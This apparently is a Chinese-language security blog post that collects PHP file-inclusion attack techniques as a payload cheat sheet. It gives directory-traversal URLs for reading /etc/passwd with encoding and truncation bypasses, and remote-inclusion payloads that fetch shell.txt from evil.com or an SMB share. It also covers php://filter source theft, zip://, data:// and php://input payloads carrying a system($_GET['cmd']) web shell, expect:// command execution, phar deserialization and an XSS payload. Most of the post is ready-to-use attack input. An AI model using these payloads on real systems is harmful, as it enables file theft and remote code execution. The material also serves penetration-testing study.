File Inclusion(Base on PHP)

Tools

从PHP5.2开始,在默认情况下,allow_url_include是禁用的。

  • allow_url_fopen 默认为 On

    是否允许将URL(如http://或ftp://)作为文件处理。

  • allow_url_include 默认为 Off

    是否允许include/require打开URL(如http://或ftp://)作为文件处理。

你可以通过php.ini启用allow_url_include:

1
2
/etc/php7/apache2/php.ini
allow_url_include = On

allow_url_include 为 On 且 allow_url_fopen 为 On 的时候:

  • 5.2版本的PHP,默认开启了register_globals,包含的是 txt 然而被解析成了PHP。

allow_url_include 为 On 而 allow_url_fopen 为 Off 的时候:

  • 需通过 php://input 伪协议进行包含,只是都需要 allow_url_include 为On

Basic LFI

LFI(Local File Inclusion,本地文件包含)

利用目录穿越读取文件:

1
http://52hertz.tech/index.php?page=../../../etc/passwd

Null Byte

这种情况是服务端在文件包含的时候添加了一个固定的文件后缀比如是(.php),这样会导致请求/etc/passwd会变成/etc/passwd.php,这样就找不到文件了。

在 PHP 版本低于 5.3.4 我们可以使用00截断(空字节截断),因为%00在C语言中代表结束,PHP是基于C语言的。

1
http://52hertz.tech/index.php?page=../../../etc/passwd%00

Double encoding

二次编码

1
2
http://52hertz.tech/index.php?page=%252e%252e%252fetc%252fpasswd
http://52hertz.tech/index.php?page=%252e%252e%252fetc%252fpasswd%00

UTF-8 encoding

1
2
http://52hertz.tech/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
http://52hertz.tech/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd%00

Path and dot truncation

长度截断:大多数情况下,一直重复目录字符串 ./ ,超过4096个字节的文件名将被剪切掉(Windows 下是256byte),因此多余的字符将被丢弃。

1
2
3
4
http://52hertz.tech/index.php?page=../../../etc/passwd............[ADD MORE]
http://52hertz.tech/index.php?page=../../../etc/passwd\.\.\.\.\.\.[ADD MORE]
http://52hertz.tech/index.php?page=../../../etc/passwd/./././././.[ADD MORE]
http://52hertz.tech/index.php?page=../../../[ADD MORE]../../../../etc/passwd

Filter bypass tricks

当然有时候可能过滤掉 ./,有一些 bypass 的小技巧

1
2
3
http://52hertz.tech/index.php?page=....//....//etc/passwd
http://52hertz.tech/index.php?page=..///////..////..//////etc/passwd
http://52hertz.tech/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd

Basic RFI

LFI(Remote File Inclusion,远程文件包含),漏洞条件:allow_url_includeOn

Most of the filter bypasses from LFI section can be reused for RFI.

1
http://52hertz.tech/index.php?page=http://evil.com/shell.txt

Null byte

1
http://52hertz.tech/index.php?page=http://evil.com/shell.txt%00

Double encoding

1
http://52hertz.tech/index.php?page=http:%252f%252fevil.com%252fshell.txt

Bypass allow_url_include

allow_url_include and allow_url_fopen 都为 Off,可以利用SMB共享来绕过 php 远程文件包含的限制。

  1. 新建一个 share
  2. 在里面写入 php : shell.php
  3. 然后进行包含 http://52hertz.tech/index.php?page=\\6.6.6.6\share\shell.php

freebuf 上 有一篇文章 讲得比较详细

LFI / RFI using wrappers

利用包装器来进行 LFI/RFI

Wrapper php://filter

详细文档 在这

大小写不敏感:

1
2
3
4
http://52hertz.tech/index.php?page=php://filter/read=string.rot13/resource=index.php
http://52hertz.tech/index.php?page=php://filter/convert.iconv.utf-8.utf-16/resource=index.php
http://52hertz.tech/index.php?page=php://filter/convert.base64-encode/resource=index.php
http://52hertz.tech/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php

可以与大型文件的压缩包装器链接在一起

1
http://52hertz.tech/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd

NOTE:Wrappers 可以用 | or / 进行多次链接:

  • Multiple base64 decodes: php://filter/convert.base64-decoder|convert.base64-decode|convert.base64-decode/resource=%s
  • deflate then base64encode (useful for limited character exfil): php://filter/zlib.deflate/convert.base64-encode/resource=/var/www/html/index.php
1
2
./kadimus -u "http://52hertz.tech/index.php?page=vuln" -S -f "index.php%00" -O index.php --parameter page 
curl "http://52hertz.tech/index.php?page=php://filter/convert.base64-encode/resource=index.php" | base64 -d > index.php

Wrapper zip://

详细文档 在这

1
2
3
4
5
6
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;  
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://52hertz.tech/index.php?page=zip://shell.jpg%23payload.php

Wrapper data://

详细文档 在这

1
2
http://52hertz.tech/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
//NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

还有这个玩意:

Fun fact: you can trigger an XSS and bypass the Chrome Auditor with : http://52hertz.tech/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+

Wrapper expect://

详细文档 在这

1
2
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

Wrapper input://

这个在CTF一些基础的php题里面经常会碰到,当代码里含有 file_get_contents($var,'r') 进行比较的时候,这个变量我们是可控的,可以绕过一些比对验证。

使用方式:

1
2
3
例如:if(file_get_contents($var,'r') === 'admin')
url: "https://52hertz.tech/index.php?var=php://input"
// 然后同时 POST 数据 'admin',这样$var的值就是 admin 了

Note:enctype="multipart/form-data" 的时候 php://input 是无效的。

当然也可以通过 curl 命令来实现

1
2
curl -X POST --data "admin" "https://52hertz.tech/index.php?var=php://input"
curl -X POST --data "<?php echo shell_exec('id'); ?>" "https://52hertz.tech/index.php?page=php://input%00" -k -v

另外,Kadimus具有自动执行此攻击的模块。

1
./kadimus -u "https://52hertz.tech/index.php?page=php://input%00"  -C '<?php echo shell_exec("id"); ?>' -T input

Wrapper phar://

关于 phar:// 的详细文档 在这,或者参看另一篇 博客

创建一个 meta-data 带有序列化对象的 phar 文件

1
2
3
4
5
6
7
8
9
10
11
12
// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); ? >');

// add object of any class as meta data
class AnyClass {}
$object = new AnyClass;
$object->data = 'rips';
$phar->setMetadata($object);
$phar->stopBuffering();

如果现在通过 phar:// 包装器对我们现有的 phar 文件执行文件操作,则其序列化的元数据将被反序列化。 如果此应用程序有一个名为AnyClass的类,并且定义了魔术方法__destruct()__wakeup(),则将自动调用这些方法。

1
2
3
4
5
6
7
class AnyClass {
function __destruct() {
echo $this->data;
}
}
// output: rips
include('phar://test.phar');

Note: 在任何文件操作,file_exists 等中,都会为 phar://触发反序列化。


File Inclusion(Base on PHP)
https://52hertz.tech/2020/03/18/file_inclusion/
作者
Ustin1an
发布于
2020年3月18日
许可协议